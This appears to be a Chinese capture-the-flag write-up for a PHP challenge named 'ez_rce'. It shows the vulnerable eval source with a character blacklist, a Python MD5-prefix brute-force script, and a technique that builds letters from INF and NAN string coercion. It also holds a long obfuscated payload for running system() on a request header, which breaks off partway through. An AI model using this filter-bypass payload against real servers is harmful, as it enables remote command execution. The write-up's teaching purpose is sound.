ez_rce

ez_rce

打开链接,得到源码
在这里插入图片描述

<?php
error_reporting(0);
if (!isset($_POST['code'])) {
    highlight_file(__FILE__);
} else {
    if (substr(md5($_GET['pass']), 0, 6) === "7b6db2") {
        $str = $_POST['code'];
        $butaixing = ['[a-z]','\+', '[\x7f-\xff]', '~', '%','=',';','\s', '*',"'", '"', '`', '\[', '\]', '\$', '_', '\\\\', '\^', ',','#','!','<','>'];
        foreach ($butaixing as $item) {
            if (preg_match('/' . $item . '/im', $str)) {
                die("臭弟弟,你想干啥?");
            }
        }
        eval('echo ' . $str . ';');
    }
}
?>

首先需要md5爆破一下,脚本如下:

from multiprocessing.dummy import Pool as tp
import hashlib

knownMd5 = '7b6db2'      #已知的md5明文
def md5(text): 
    return hashlib.md5(str(text).encode('utf-8')).hexdigest()

def findCode(code):   
    key = code.split(':')
    start = int(key[0])  
    end = int(key[1]) 
    for code in range(start, end):
        if md5(code)[0:6] == knownMd5:            
            print(code)
            break
list=[] 
for i in range(1):    #这里的range(number)指爆破出多少结果停止
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()    #使用多线程加快爆破速度
pool.map(findCode, list) 
pool.close()
pool.join()

过滤了所有的字母,以及取反构造时可能用到的不可见字符,单双引号等字符。直接pass掉了一些思路:取反,异或,汉字截取。所以需要想别的方法来构造字母,.是用来连接字符串的,同时因为php弱类型的特点若是一个数字和一个字符连接的话,数字会自动被转换成字符,那么同样的,若是两个数字来连接,同样会将两个数字转换为字符。

<?php
@var_dump((1/0).(0));//string(4) "INF0"
@var_dump((0/0).(0));//string(4) "NAN0"
@var_dump((9999999999*9999999999).(0));//string(16) "9.999999998E+190"
@var_dump((3333/4).(0));//string(7) "833.250"

@$N = (((1/0).(0)){0});//string(1) "I"
@$N = (((1/0).(0)){1});//string(1) "N"
@$N = (((1/0).(0)){2});//string(1) "F"
?>

这里我们可以使用 system(next(getallheaders()))

((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((1).(0)){0}|((1/0).(0)){0}).(((((2).(0)){0}){0})|(((0/0).(0)){1})).((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0})).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))))((((0/0).(0)){0}.(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((1/0).(0)){0}&((1/0).(0)){1})|(((8).(0)){0})).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))))(((((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值